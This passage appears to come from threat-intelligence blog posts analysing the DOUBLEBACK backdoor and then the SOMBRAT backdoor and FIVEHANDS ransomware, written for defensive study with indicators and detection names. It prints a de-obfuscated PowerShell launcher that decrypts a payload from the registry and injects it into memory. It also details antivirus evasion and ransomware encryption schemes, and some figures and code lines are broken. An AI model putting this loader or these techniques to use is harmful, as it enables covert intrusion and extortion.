The encoding of the launcher is implemented as a simple rolling XOR that is incremented after each iteration. The following code snippet (Figure 8) could be used to either encode or decode the launcher, given the initial key.

def encdec(src, key):
    out = bytearray()
    for b in src:
        if key >= 250:
            key = 0
        out.append(b ^ key)
        key += 4
    return out

Figure 8: Algorithm to Decode the Launcher

Once the launcher is decoded it is executed within the same PowerShell process as the bootstrap by calling the iex (Invoke-Expression) command.


The launcher responsibility, after being executed by the bootstrap code, is to decrypt and execute the payload saved under the VersionIndependentProgID registry key. To do so, the launcher first decodes the RC4 key provided in the value (see Figure 5) and then uses it to decrypt the payload. Once the payload is decrypted, the launcher allocates virtual memory enough to house the image in memory, copies it there, and finally creates a thread around the entry point specified in the dropper. The function at that entry point is expected to lay the image in memory, to relocate the image, if necessary, to resolve the imports and finally—to execute the payload's entry point.

A sanitized and somewhat de-obfuscated version of the launcher is shown in Figure 9.

function DecryptPayload {
    param($fn7, $xf7, $mb5)
    $fn1 = Get-ItemProperty -Path $fn7 -n $mb5 | Select-Object -ExpandProperty $mb5;
    $en8 = ($fn1[32] + (19 + (((5 - 2) + 0) + 11)));
    $ow7 = $fn1[$en8..($en8 + 31)];
    $fn1 = Get-ItemProperty -Path $fn7 -n $xf7 | Select-Object -ExpandProperty $xf7;
    $en8 = {
        $xk2 = 0..255;
        0..255 | % {
            $wn4 = ($wn4 + $xk2[$_] + $ow7[$_ % $ow7.Length]) % (275 - (3 + (11 + 5)));
            $xk2[$_], $xk2[$wn4] = $xk2[$wn4], $xk2[$_]
        $fn1 | % {
            $sp3 = ($sp3 + 1) % (275 - 19);
            $si9 = ($si9 + $xk2[$sp3]) % ((600 - 280) - 64);
            $xk2[$sp3], $xk2[$si9] = $xk2[$si9], $xk2[$sp3];
            $_-bxor$xk2[($xk2[$sp3] + $xk2[$si9]) % (343 - ((1 + 0) + 86))]
    $ry6 = (& $en8 | foreach-object { '{0:X2}' -f $_ }) -join '';
    ($(for ($sp3 = 0; $sp3 -lt $ry6.Length; $sp3 += 2) {
                [convert]::ToByte($ry6.Substring($sp3, 2), (17 - ((1 + 0))))

function ExecuteApi {
    param($fn7, $xf7)
    $vy9 = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('?RND?')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('?RND?', $false).DefineType('?RND?', 'Class,Public,Sealed,AnsiClass,AutoClass', [System.MulticastDelegate]);
    $vy9.DefineConstructor('RTSpecialName,HideBySig,Public', [System.Reflection.CallingConventions]::Standard, $fn7).SetImplementationFlags('Runtime,Managed');
    $vy9.DefineMethod('Invoke', 'Public,HideBySig,NewSlot,Virtual', $xf7, $fn7).SetImplementationFlags('Runtime,Managed');

function GetProcAddress {
    $fq3 = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object {
        $_.GlobalAssemblyCache -and $_.Location.Split('\\')[-1].Equals('System.dll')
    $lr3 = New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($fq3.GetMethod('GetModuleHandle').Invoke(0, @('kernel32.dll'))));
    $fq3.GetMethod('GetProcAddress', [reflection.bindingflags] 'Public,Static', $null, [System.Reflection.CallingConventions]::Any, @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null).Invoke($null, @([System.Runtime.InteropServices.HandleRef]$lr3, $fn7))

$decryptedPayload = DecryptPayload 'hklm:\software\classes\CLSID\\VersionIndependentProgID' '' '';

function InjectPayload {
    param($payload, $payloadLen, $entryPoint, $access)
    $mem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((GetProcAddress 'VirtualAllocEx'), (ExecuteApi @([IntPtr], [IntPtr], [IntPtr], [int], [int])([Intptr]))).invoke(-1, 0, $payloadLen, 0x3000, $access);

    [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((GetProcAddress 'RtlMoveMemory'), (ExecuteApi @([IntPtr], [byte[]], [UInt32])([Intptr]))).invoke($mem, $payload, $payloadLen);
    $mem = New-Object System.Intptr -ArgumentList $($mem.ToInt64() + $entryPoint);

    [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((GetProcAddress 'CreateThread'), (ExecuteApi @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr])([Intptr]))).invoke(0, 0, $mem, 0, 0, 0);
    Start-Sleep -s (((2673 - 942) + 1271))

# 0x36dc = Loader Entry Point, rva
InjectPayload $decryptedPayload $decryptedPayload.length 0x36dc 0x40

Figure 9: De-obfuscated and sanitized launcher script

DOUBLEBACK Backdoor component


The observed DOUBLEDROP instances contain a well-designed backdoor implemented as a 32 or 64-bit PE dynamic library which we track as DOUBLEBACK. The backdoor is initially mapped into the same PowerShell process started by the bootstrap script, but it will then inject itself into a msiexec.exe process if certain conditions are met. By design, the core of the backdoor functionality is intended to be executed after injected into a newly spawned msiexec.exe process. 

In contrast with other backdoors DOUBLEBACK does not have its services hardcoded and the functionality is expected to be implemented as plugins that are expected to be serialized in the registry database under a host-specific registry path. That way, the backdoor can be configured to implement a flexible set of services depending on the target. With all the common functionality implemented as plugins, the backdoor’s main goal is to establish a communication framework ensuring data integrity between the C2 server and the appropriate plugins.


The backdoor starts by retrieving its process name and ensures that it is either powershell.exe or msiexec.exe. In all other cases, the malware will immediately terminate itself. Normally, when first started on the system, the backdoor will be injected into the same PowerShell process that executes both the bootstrap code and the launcher. In that mode the malware may spawn (depending on certain conditions) a msiexec process and injects itself into it. More details about the logic implemented in the PowerShell and the msiexec branches are provided in the following sections. 

Next, the backdoor ensures that it is the only DOUBLEBACK instance currently executing on the compromised system. To do that, the malware generates a host-based pseudo-unique GUID and uses it as a mutex name. The algorithm first generates a pseudo-unique host identifier that is based on the system volume's serial number and a hardcoded salt value, as shown in Figure 10.

# oberserved salt = 0x436ea76d
def gen_host_id(vol_ser_num, salt):
    salted_val = (vol_ser_num + salt) & 0xffffffff
    md5 = hashlib.md5(bytes(salted_val.to_bytes(4, 'little')))
    second_dword = struct.unpack('     return (salted_val + second_dword) & 0xffffffff

Figure 10: Host ID generation algorithm

Next, the malware passes the generated host ID to another algorithm that generates a pseudo-unique GUID based on the input, as shown in Figure 11.

# src is the host ID
def gen_guid(src):
    b = bytearray()
    xor = 0xaabbccdd
    for _ in range(4):
        b += src.to_bytes(4, byteorder='little')
        src ^= xor
        xor = (xor + xor) & 0xffffffff
    return uuid.UUID(bytes_le=bytes(b))

Figure 11: GUID generation algorithm

Once the GUID is generated the malware formats it as Global\{} and attempts to open a mutex with that name. In case the mutex is already created the backdoor assumes that another instance of itself is already running and terminates itself. Otherwise, the backdoor creates the mutex and branches out depending on the detected process it currently mapped into.

Executing Within the PowerShell Process

The initial state of the backdoor execution is when it is mapped into a PowerShell process created by the bootstrap code. In this mode, the backdoor attempts to relocate itself into a new instance of msiexec.exe. Before the injection is attempted, the backdoor enumerates the running processes looking for Kaspersky Antivirus (avp.exe, avpui.exe) or BitDefender (bdagent.exe, bdservbdagent.exe, bdservicehost.exe) engines. This part of the functionality seems to be a work in progress because the malware ignores the fact if the Kaspersky software is detected but it will not attempt injecting into the msiexec.exe process in case BitDefender is found running on the compromised system. In the latter case, the backdoor's main functionality will be executed inside the same PowerShell process and no new instance of msiexec.exe will be created.

The injection process involves finding the backdoor's image under the appropriate registry key. Note, that the backdoor instance we have observed in the first wave does not handle situations when the malware ecosystem is installed as an administrator—such cases would end up with the backdoor not able to locate its image for injecting. In all other cases, the malware starts with the well-known class GUIDs of the PlaySoundService and MsCtfMonitor classes and attempts to find which of them has the TreatAs registry key under their definition. Once the TreatAs key is found, its default registry value points to the registry key that has the RC4-encrypted backdoor image and the encoded RC4 key both described in the previous section of the post.

With the backdoor image loaded in memory and decrypted, the malware spawns a suspended process around msiexec.exe and inject its image into it. The backdoor PE file exports a single function that is used to lay down its own image in memory and execute its DllMain entry point. The export function allocates the needed memory, relocates the image, if needed, resolves the imports and finally executes the backdoor’s DllMain function.

At this point the backdoor is running inside the hijacked msiexec.exe and the instance inside the PowerShell process terminates itself.

Executing as Injected in the msiexec.exe Process


The DOUBLEBACK backdoor executes its main functionality while injected in a dedicated msiexec.exe process (provided BitDefender AV is not found running on the system). The main logical modules of the backdoor are its configuration, plugin management, and communications. In the following sections we will describe the first two, while a future blog post will focus on the communications and the evolution of the backdoor.


The backdoor uses an embedded configuration that contains the C2 URLs and a key (more about the key in the second part of the post). The configuration data is formatted as shown in Figure 12.

struct tag_config_header_t {
    uint32_t xor_val_1;
    uint32_t xor_val_2;
    uint32_t xor_val_3;
    uint32_t xor_val_4;
} config_header_t;

struct tag_config_t {
    config_header_t header;
    uint8_t encoded_config[];
} config_t;

Figure 12: Encoded configuration format

The length of the encoded_config data is provided by the XOR-ing of the xor_val_1 and xor_val_2 fields of the config_header_t structure. The config_t.encoded_config blob can be decoded by XOR-ing the data with the config_header_t.xor_val_1.

The decoded configuration data consists of a comma-separated list of URLs followed by a key that is used in the communication module. The first two bytes specify the lengths of the comma-separated URL list and the key, respectively. The URLs in the observed samples follow the pattern shown in Figure 13.


Figure 13: Observed C2 URL pattern

The initial sample did not have any value for but the samples after that were observed to use equal to 4 or 5.

Plugin Management

The backdoor's core functionality is implemented via plugins designed as PE Windows dynamic libraries. The plugins, as with the other backdoor components, are also saved in the registry database under a host-specific registry key. The full path to the plugins location is formatted as HK[LM|CU]:\Software\Classes\CLSID\{}, where is generated by the GUID algorithm shown in Figure 11 with a host-specific value we call implant ID which is used not only to generate the path to the plugins but with the backdoor’s C2 communications and it is also passed as a parameter to each of the plugins during their initialization. The implant ID is generated by seeding the Linear Congruential Generator (LCG) algorithm, shown in Figure 14, with the host ID and the value is set to 0x54c5638. The value generated by the LCG is then added to 0x989680 and the result serves as the implant ID.

def lcg(max_range):
    global seed
    if seed == 0:
        seed = get_RDTSC()
    n = (0x7fffffed * seed + 0x7fffffc3) & 0xffffffff
    val = n % max_range
    seed = n
    return val

Figure 14: Linear Congruential Generator used by the backdoor

The backdoor enumerates all the registry values under the plugins home location (the registry value names are insignificant) and expects each of the plugins to be formatted, as shown in Figure 15.

struct tag_plugin_header_t {
    uint32_t xor_val;
    uint32_t param_2; the second parameter of the pfn_init
    uint32_t len_1;
    uint32_t len_2;
    uint32_t pfn_init;
    uint32_t pfn_cleanup;
    uint32_t param_3; the third parameter of the pfn_init
    uint32_t unused;
} plugin_header_t;

struct tag_plugin_t {
       plugin_header_t header;
       uint8_t encoded_plugin[];
} plugin_t;

Figure 15: Encoded plugins format

As shown in Figure 15, the plugin data starts with a 32-byte long header followed by the encoded plugin DLL. The plugin encoding is implemented as a combination of rolling DWORD/BYTE XOR with initial value specified by the plugin_header_t.xor_val value. The plugin_header_t.len_1 stores the number of DWORDS to be decoded with plugin_header_t.xor_val which is incremented by 4 after each iteration. The plugin_header_t.len_2 specifies the number of bytes to be decoded at the current position after the previous operation with the current value of the plugin_header_t.xor_val (only the least significant byte is taken). In this mode the plugin_header_t.xor_val value is incremented by one after each iteration.

The plugins are expected to export at least two functions—one for initialization and another to clean up the resources before unloading. The initialization routine takes four parameters—two from the header and two calculated by the backdoor, as shown Figure 16.

pfn_init(implant_id, plugin_header_t.param_2, plugin_header_t.param_3, p_plugin_image_in_memory)

Figure 16: Plugins initialization routine prototype

The current backdoor's implementation provides support for up to 32 plugins with each of them mapped and initialized in the backdoor's process space.

Additional Notes

The first backdoor instance we observed back in December 2020 was a stable and well-written code, but it was clearly a work in progress. For example, the early instance of the malware spawns a thread to secure delete the DOUBLEDROP dropper from disk which indicates that an earlier variant of this malware launched a copy of the dropper from the file system. The dropper would save its current location on disk in the default registry value under the HK[LM|CU]:\Software\Classes key. The backdoor spawns a dedicated thread that retrieves the dropper’s path and then proceeds to overwrite the image on disk with 0x00, 0xFF, and a randomly generated byte before deleting the dropper from the file system.

Additionally, the early instance of the backdoor, as mentioned, would not handle the situations when an elevated PowerShell process is used. The dropper would use a scheduled task in that case with the relevant registry keys created under the HKLM hive but the backdoor does not support that case and will not be able to find its image under the specific key in order to inject itself into the msiexec.exe process.

Finally, the backdoor would output debug information in a few cases using the OutputDebugString API. Interestingly, the format and the generation of the log message is the same as the one used in the publicly available PEGASUS code (preliminary technical analysis: Pegasus Malware Source Code). The PEGASUS backdoor is distributed with modules that allow it to manipulate files generated by common Russian payment processing software that is used to assess and process VAT refunds. When executed on a workstation running targeted software, the malware can attempt to add VAT to transactions that are normally exempt and directs associated tax refunds to attacker-controlled bank accounts.


Considerable resources were employed by UNC2529 to conduct their December phishing campaign. Almost 50 domains supported various phases of the effort, targets were researched, and a legitimate third-party domain was compromised. The threat actor made extensive use of obfuscation and fileless malware to complicate detection to deliver a well coded and extensible backdoor. UNC2529 is assessed as capable, professional and well resourced. The identified wide-ranging targets, across geography and industry suggests a financial crime motive.

DOUBLEBACK appears to be an ongoing work in progress and Mandiant anticipates further actions by UNC2529 to compromise victims across all industries worldwide.

Technical Indicators













PDF Decoy



PDF Decoy









Excel BIFF8 macro



PDF Decoy












Dec. 2, 2020 Wave

Dec. 11 to 18, 2020 Wave



















































  • 4b32115487b4734f2723d461856af155
  • 9e3f7e6697843075de537a8ba83da541
  • cc17e0a3a15da6a83b06b425ed79d84c


  • hxxp://p-leh[.]com/update_java.dat
  • hxxp://clanvisits[.]com/mini.dat
  • hxxps://towncentrehotels[.]com/ps1.dat


  • 1aeecb2827babb42468d8257aa6afdeb
  • 1bdf780ea6ff3abee41fe9f48d355592
  • 1f285e496096168fbed415e6496a172f
  • 6a3a0d3d239f04ffd0666b522b8fcbaa
  • ce02ef6efe6171cd5d1b4477e40a3989
  • fa9e686b811a1d921623947b8fd56337


  • hxxps://klikbets[.]net/admin/client.php
  • hxxps://lasartoria[.]net/admin/client.php
  • hxxps://barrel1999[.]com/admin4/client.php
  • hxxps://widestaticsinfo[.]com/admin4/client.php
  • hxxps://secureinternet20[.]com/admin5/client.php
  • hxxps://adsinfocoast[.]com/admin5/client.php


FireEye detects this activity across our platforms. The following contains specific detection names that provide an indicator of exploitation or post-exploitation activities we associate with UNC2529.


Detection Name

Network Security

Email Security

Detection On Demand

Malware File Scanning

Malware File Storage Scanning

  • FEC_Trojan_JS_DOUBLEDRAG_1 (static)
  • FE_Trojan_JS_DOUBLEDRAG_1 (static)
  • Downloader.DOUBLEDRAG (network)
  • Downloader.JS.DOUBLEDRAG.MVX (dynamic)
  • FE_Dropper_PS1_DOUBLEDROP_1 (static)
  • FEC_Dropper_PS1_DOUBLEDROP_1 (static)
  • Dropper.PS1.DOUBLEDROP.MVX (dynamic)
  • FE_Backdoor_Win_DOUBLEBACK_1 (static)
  • FE_Backdoor_Win_DOUBLEBACK_2 (static)
  • FE_Backdoor_Win_DOUBLEBACK_3 (static)
  • FE_Backdoor_Win_DOUBLEBACK_4 (static)
  • Backdoor.Win.DOUBLEBACK (network)
  • Malware.Binary.xls

Endpoint Security

Real-Time (IOC)


Malware Protection (AV/MG)

  • Trojan.JS.Agent.TZP
  • Gen:Variant.Ulise.150277
  • Gen:Variant.Ulise.150283
  • Gen:Variant.Razy.799918

UNC2529 MITRE ATT&CK Mapping

ATT&CK Tactic Category


Resource Development

Initial Access


Privilege Escalation

Defense Evasion



Command and Control


Thank you to Tyler McLellan, Dominik Weber, Michael Durakovich and Jeremy Kennelly for technical review of this content. In addition, thank you to Nico Paulo Yturriaga and Evan Reese for outstanding signature creation, and Ana Foreman for graphics support.

UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat

29 Apr 2021

Mandiant has observed an aggressive financially motivated group, UNC2447, exploiting one SonicWall VPN zero-day vulnerability prior to a patch being available and deploying sophisticated malware previously reported by other vendors as SOMBRAT. Mandiant has linked the use of SOMBRAT to the deployment of ransomware, which has not been previously reported publicly.

UNC2447 monetizes intrusions by extorting their victims first with FIVEHANDS ransomware followed by aggressively applying pressure through threats of media attention and offering victim data for sale on hacker forums. UNC2447 has been observed targeting organizations in Europe and North America and has consistently displayed advanced capabilities to evade detection and minimize post-intrusion forensics.

Mandiant has observed evidence of UNC2447 affiliated actors previously using RAGNARLOCKER ransomware. Based on technical and temporal observations of HELLOKITTY and FIVEHANDS deployments, Mandiant suspects that HELLOKITTY may have been used by an overall affiliate program from May 2020 through December 2020, and FIVEHANDS since approximately January 2021.


In November 2020, Mandiant created UNC2447, an uncategorized group observed using the novel WARPRISM PowerShell dropper to install BEACON at two Mandiant Managed Defense clients. Mandiant Managed Defence quicky neutralized these intrusions and did not observe attempts to deploy ransomware.

In January and February 2021, Mandiant Consulting observed a novel rewrite of DEATHRANSOM—dubbed FIVEHANDS—along with SOMBRAT at multiple victims that were extorted. During one of the ransomware intrusions, the same WARPRISM and BEACON samples previously clustered under UNC2447 were observed. Mandiant was able to forensically link the use of WARPRISM, BEACON, SOMBRAT and FIVEHANDS to the same actor.

Mandiant suspects that HELLOKITTY activity in late-2020 may be related to the overall affiliate program and that usage shifted to FIVEHANDS ransomware beginning in January 2021.

  • In April 2021, Mandiant observed a private FIVEHANDS TOR chat using a HELLOKITTY favicon (Figure 1).

Figure 1: FIVEHANDS Hello Kitty icon

When affiliate-based ransomware is observed by Mandiant, uncategorized clusters are assigned based on the infrastructure used, and in the case of UNC2447 were based on the SOMBRAT and Cobalt Strike BEACON infrastructure used across 5 intrusions between November 2020 and February 2021. Generally, Mandiant uses caution even with novel malware such as SOMBRAT and WARPRISM and clusters each use rigorously according to all observed activity. For more information on uncategorized threats, refer to our post, "DebUNCing Attribution: How Mandiant Tracks Uncategorized Threat Actors."

SonicWall SMA 100 Series Appliance Vulnerability

CVE-2021-20016 is a critical SQL injection vulnerability that exploits unpatched SonicWall Secure Mobile Access SMA 100 series remote access products. A remote, unauthenticated attacker could submit a specially crafted query in order to exploit the vulnerability. Successful exploitation would grant an attacker the ability to access login credentials (username, password) as well as session information that could then be used to log into a vulnerable unpatched SMA 100 series appliance. This vulnerability only impacted the SMA 100 series and was patched by SonicWall in February 2021. For more information on this vulnerability, please refer to SonicWall PSIRT advisory SNWLID-2021-0001.


WARPRISM is a PowerShell dropper that has been observed by Mandiant delivering SUNCRYPT, BEACON, and MIMIKATZ. WARPRISM is used to evade endpoint detection and will load its payload directly into memory. WARPRISM may be used by multiple groups.


FOXGRABBER is a command line utility used to harvest FireFox credential files from remote systems. It contains the PDB path: C:\Users\kolobko\Source\Repos\grabff\obj\Debug\grabff.pdb. FOXGRABBER has also been observed in DARKSIDE ransomware intrusions.

BEACON Malleable Profiles

In the initial stages of an intrusion, UNC2447 uses the Cobalt Strike BEACON HTTPSSTAGER implant for persistence to communicate with command-and-control (C2) servers over HTTPS and has been observed using ‘chches_APT10’ and ‘Havex’ Malleable profiles.

UNC2447 Toolbox

During the recon and exfiltration stage of intrusions, UNC2447 has been observed using the following tools: ADFIND, BLOODHOUND, MIMIKATZ, PCHUNTER, RCLONE, ROUTERSCAN, S3BROWSER, ZAP and 7ZIP. UNC2447 may tamper with windows security settings, firewall rules, and antivirus protection.

SOMBRAT Overview

SOMBRAT was first reported by Blackberry Cylance in November 2020 as "The CostaRicto Campaign: Cyber-Espionage Outsourced" as a potential espionage-for-hire criminal group. Mandiant has now observed SOMBRAT alongside FIVEHANDS ransomware intrusions.

The SOMBRAT backdoor is packaged as a 64-bit Windows executable. It communicates with a configurable command and control (C2) server via multiple protocols, including DNS, TLS-encrypted TCP, and potentially WebSockets. Although the backdoor supports dozens of commands, most of them enable the operator to manipulate an encrypted storage file and reconfigure the implant. The backdoor's primary purpose is to download and execute plugins provided via the C2 server. In contrast to the SOMBRAT version published in November 2020, Mandiant observed additional obfuscation and armoring to evade detection, this SOMBRAT variant has been hardened to discourage analysis. Program metadata typically included by the compiler has been stripped and strings have been inlined and encoded via XOR-based routines.

The SOMBRAT Launcher

This SOMBRAT backdoor variant must be deployed alongside four additional resources that serve as launchers. They are typically installed to the hardcoded directory path `C:\ProgramData\Microsoft`. 

  • path: `C:\programdata\Microsoft\WwanSvc.bat` - launcher for `WwanSvc.txt`
  • path: `C:\programdata\Microsoft\WwanSvc.txt` - decoder and launcher for `WwanSvc.c`
  • path: `C:\programdata\Microsoft\WwanSvc.c` - decoder and launcher for `WwanSvc.b`
  • path: `C:\programdata\Microsoft\WwanSvc.a` - XOR key
  • path: `C:\programdata\Microsoft\WwanSvc.b` - encoded SOMBRAT backdoor
  • path: `%TEMP%\` - encrypted storage file
  • path: `%TEMP%\` - encrypted storage file
  • path: `C:\ProgramData\

Other variations of the filenames were observed such as ntuser and wapsvc.

SOMBRAT Technical Details

The SOMBRAT backdoor is written in modern C++ and implemented as a collection of "plugins" that interoperate with one another. There are five plugins distributed with this variant: `core`, `network`, `storage`, `taskman`, and `debug` (the `config` plugin described by Blackberry is not present). The core plugins communicate with the C2 server via messages sent over a common networking layer; each plugin supports its own set of messages, and the backdoor protocol can be extended by dynamically loaded plugins.

The `core` plugin coordinates state tracking, such as network connectivity, and dynamic plugin loading and unloading. The `network` plugin configures the networking layer used to communicate with the C2 server, for example enabling the operator to switch between DNS and TCP protocols. The `storage` plugin exposes logical operations, such as read and write, for an encrypted file used to store plugins, resources, and arbitrary data. The `taskman` plugin enables the operator to list and kill processes on the compromised system. Finally, the `debuglog` plugin supports a single command to records debug messages.

Given that the core plugins do not enable an operator directly execute arbitrary commands or reconfigure the system, the primary function of the SOMBRAT backdoor is to load plugins provided via the C2 server. These plugins may be shellcode or DLL modules to be dynamically loaded. The C2 server may instruct the backdoor to load the plugins directly or persist them into the encrypted storage file, where they may subsequently be reloaded, such as after upgrading the backdoor.

Figure 2: Malware author mark “No one is perfect except me.”

SOMBRAT evades forensic analysis by patching the process memory used to record command line arguments. It replaces the initial command line with the base filename of the program executable, removing any arguments. This means that investigators that inspect a process listing via memory forensics will see the innocuous-looking command line `powershell.exe` rather than references to the uncommon filename such as `WwanSvc.c`.

SOMBRAT Network Communications

The SOMBRAT backdoor can communicate with its C2 server using both DNS and a proxy-aware, TLS-encrypted stream protocol. By default, the backdoor uses the DNS protocol; however, this can be reconfigured by the C2 server. Mandiant observed the domains feticost[.]com and celomito[.]com used for DNS C2 communications.

When the backdoor communicates via its DNS protocol, it constructs and resolves FQDNs, interpreting the DNS results to extract C2 messages. The authoritative DNS server embeds data within the IP address field of DNS A record results and within the Name Administrator field of DNS TEXT record results. By making many requests to unique subdomains of the C2 domain, the backdoor can slowly transmit information a few bytes at a time.

Ransomware Similarities

Beginning in October 2020, Mandiant observed samples of a customized version of DEATHRANSOM. This newly modified version removed the language check feature (Figure 3 shows the language check of DEATHRANSOM).

Figure 3: Language check from Fortinet blog

  • HELLOKITTY ransomware—used to target Polish video game developer CD Projekt Red—is reportedly built from DEATHRANSOM.
    • HELLOKITTY is named after a mutex named ‘HELLOKITTYMutex,’ used when the malware executable is launched (see Figure 4).

Figure 4: HELLOKITTY mutex shown in Process Explorer

In January 2021, Mandiant observed a new ransomware deployed against a victim and assigned the name FIVEHANDS.

  • Analysis of FIVEHANDS revealed high similarity to DEATHRANSOM, sharing several features, functions, and coding similarities. Absent in FIVEHANDS is a language check, similar to HELLOKITTY
  • Both DEATHRANSOM and FIVEHANDS drops a ransom note in all non-excluded directories


DEATHRANSOM is written in C while the other two families are written in C++. DEATHRANSOM uses a distinct series of do/while loops to enumerate through network resources, logical drives, and directories. It also uses QueueUserWorkItem to implement thread pooling for its file encryption threads.

HELLOKITTY is written in C++, but reimplements a significant portion of DEATHRANSOM's functionality using similar loop operations and thread pooling via QueueUserWorkItem. The code structure to enumerate network resources, logical drives, and perform file encryption is very similar. Additionally, HELLOKITTY and DEATHRANSOM share very similar functions to check for the completion status of their encryption threads before exiting.

FIVEHANDS is written in C++ and although high level functionality is similar, the function calls and code structure to implement the majority of the functionality is written differently. Also, instead of executing threads using QueueUserWorkItem, FIVEHANDS uses IoCompletionPorts to more efficiently manage its encryption threads. FIVEHANDS also uses more functionality from the C++ standard template library (STL) than does HELLOKITTY.

Deletion of Volume Shadow Copies

DEATHRANSOM, HELLOKITTY, and FIVEHANDS use the same code to delete volume shadow copies via WMI by performing the query select * from Win32_ShadowCopy and then deleting each instance returned by its id.

Encryption Operations

Each of these three malware families utilizes a similar encryption scheme. An asymmetric public key is either hard-coded or generated. A unique symmetric key is generated for each encrypted file.

  • After each file is encrypted, the asymmetric key will encrypt the symmetric key and append it to the encrypted file. Additionally, a unique four byte magic value is appended to the end of the encrypted file. The malware checks for these magic bytes to ensure it does not encrypt a previously encrypted file again.
  • DEATHRANSOM and HELLOKITTY implement the file encryption operations using a very similar code structure and flow.
  • FIVEHANDS implements its file encryption with a differing code structure and uses different embedded encryption libraries.
  • In addition to the symmetric key, HELLOKITTY and FIVEHANDS also encrypts file metadata with the public key and appends this to the encrypted file.
  • DEATHRANSOM generates an RSA key pair while HELLOKITTY and FIVEHANDS use an embedded RSA or NTRU public key.


  • DEATHRANSOM creates an RSA-2048 public and private key pair. Using an Elliptic-curve Diffie–Hellman (ECDH) routine implemented with Curve25519, it computes a shared secret using two input values: 1) 32 random bytes from a RtlGenRandom call and 2) a hardcoded 32 byte value (attacker's public key). It also create a Curve25519 public key. The shared secret is SHA256 hashed and used as the key to Salsa20 encrypt the RSA public and private keys.
  • The RSA public key is used to encrypt the individual symmetric keys that are used to encrypt each file. A Base64 encoded version of the encrypted RSA keys and the victim’s Curve25519 public key is included in the ransom note, providing the threat actors the information needed to decrypt the victim's files.
  • For the symmetric key, DEATHRANSOM calls RtlGenRandom to generate 32 random bytes. This is the 32 byte key used to AES encrypt each file. After the file is encrypted, the AES key is encrypted with the public RSA key and appended to the file.
  • DEATHRANSOM lastly appends the four magic bytes of AB CD EF AB at the end of the encrypted file and uses this as a check to ensure that it does not encrypt an already encrypted file.
  • The analyzed DEATHRANSOM sample used for comparison does not change the file extension.


  • HELLOKITTY contains an embedded RSA-2048 public key. This public key is SHA256 hashed and used as the victim ID within the ransom note. This RSA pubic key is also used to encrypt each file's symmetric key.
  • For the symmetric key, HelloKitty generates a 32 byte seed value based on the CPU timestamp. A Salsa20 key is generated and encrypts a second 32 byte seed value. The encrypted result is XOR’d with the first seed, resulting in a 32 byte key used to AES encrypt each file.
  • After each file is encrypted, the original file size, magic value of DE C0 AD BA, and AES key are encrypted with the public RSA key and appended to the file. HELLOKITTY and FIVEHANDS appends this additional metadata to the encrypted file, while DEATHRANSOM does not.
  • Lastly it appends the four magic bytes DA DC CC AB to the end of the encrypted file.
  • Depending on the version, HELLOKITTY may or may not change the file extension.
  • Other samples of HELLOKITTY have used an embedded NTRU public key instead of RSA.

FIVEHANDS Encryption

  • FIVEHANDS uses an embedded NTRU public key. This NTRU key is SHA512 hashed and the first 32 bytes are used as the victim ID within the ransom note. This NTRU pubic key is also used to encrypt each file's symmetric key.
  • For the symmetric key, FIVEHANDS uses an embedded generation routine to produce 16 random bytes used for an AES key to encrypt each file.
  • After each file is encrypted, the original file size, magic value of DE C0 AD BA, and AES key are encrypted with the public NTRU key and appended to the file.
  • The four magic bytes DB DC CC AB are appended to the end of the encrypted file.
  • FIVEHANDS includes additional code not found in DEATHRANSOM and HELLOKITTY to use the Windows Restart Manager to close a file currently in use so that it can be unlocked and successfully encrypted.
  • The encrypted file extension is changed to .crypt  extension
  • FIVEHANDS's encryption flow and sequence is very different from the other two, partially because it incorporates asynchronous I/O requests and uses different embedded encryption libraries.

FIVEHANDS Encrypted Dropper

One significant change between DEATHRANSOM and FIVEHANDS is the use of a memory-only dropper, which upon execution, expects a command line switch of -key followed by the key value necessary to perform decryption of its payload. The payload is stored and encrypted with AES-128 using an IV of “85471kayecaxaubv”. The decrypted FIVEHANDS payload is immediately executed after decryption. To date, Mandiant has only observed encrypted droppers with a common imphash of 8517cf209c905e801241690648f36a97.

CLI arguments

FIVEHANDS can receive a CLI argument for a path, this limits the ransomware's file encryption activities to the specified directory. DEATHRANSOM and HELLOKITTY do not accept CLI arguments.

Locale and Mutex checks

DEATHRANSOM performs language ID and keyboard layout checks. If either of these match Russian, Kazakh, Belarusian, Ukrainian or Tatar it exits. Neither HELLOKITTY or FIVEHANDS perform language ID or keyboard checks.

HELLOKITTY performs a mutex check while the other two do not perform mutex checks.

File Exclusions

DEATHRANSOM and HELLOKITTY both exclude the same directories and files:

programdata, $recycle.bin, program files, windows, all users, appdata, read_me.txt, autoexec.bat, desktop.ini, autorun.inf, ntuser.dat, iconcache.db, bootsect.bak, boot.ini, ntuser.dat.log, or thumbs.db.

The exclusions for FIVEHANDS are more extensive and contain additional files and directories to ignore.

Additional Differences

  • DEATHRANSOM makes an external HTTPS connection to download a file. Neither HELLOKITTY or FIVEHANDS initiate network connections.
  • HELLOKITTY contains code to set the victims wallpaper to a ransom related image. The other samples do not have this functionality
  • Different versions of DEATHRANSOM and HELLOKITTY are known to change the file extension
  • Different versions of HELLOKITTY are known to check for specific processes to terminate.





Programming Language




Symmetric Encryption

AES 128

AES 256

AES 256

Asymmetric Encryption

Embedded NTRU Key

Embedded RSA or NTRU Key

Curve25519 ECDH and RSA key creation

Same directory and file name exclusions




Accepts CLI Arguments




Network Connections




Locale Check




Mutex Check




Bytes Appended to Encrypted Files




Table 1: Ransomware feature comparison


Mandiant observed SOMBRAT and FIVEHANDS ransomware by the same group since January 2021. While similarities between HELLOKITTY and FIVEHANDS are notable, ransomware may be used by different groups through underground affiliate programs. Mandiant will assign an uncategorized cluster based on multiple factors including infrastructure used during intrusions and as such, not all SOMBRAT or FIVEHANDS ransomware intrusions may have been conducted by UNC2447. WARPRISM and FOXGRABBER have been used in SUNCRYPT and DARKSIDE ransomware demonstrating additional complexity and sharing between different ransomware affiliate programs.


  • 87c78d62fd35bb25e34abb8f4caace4a
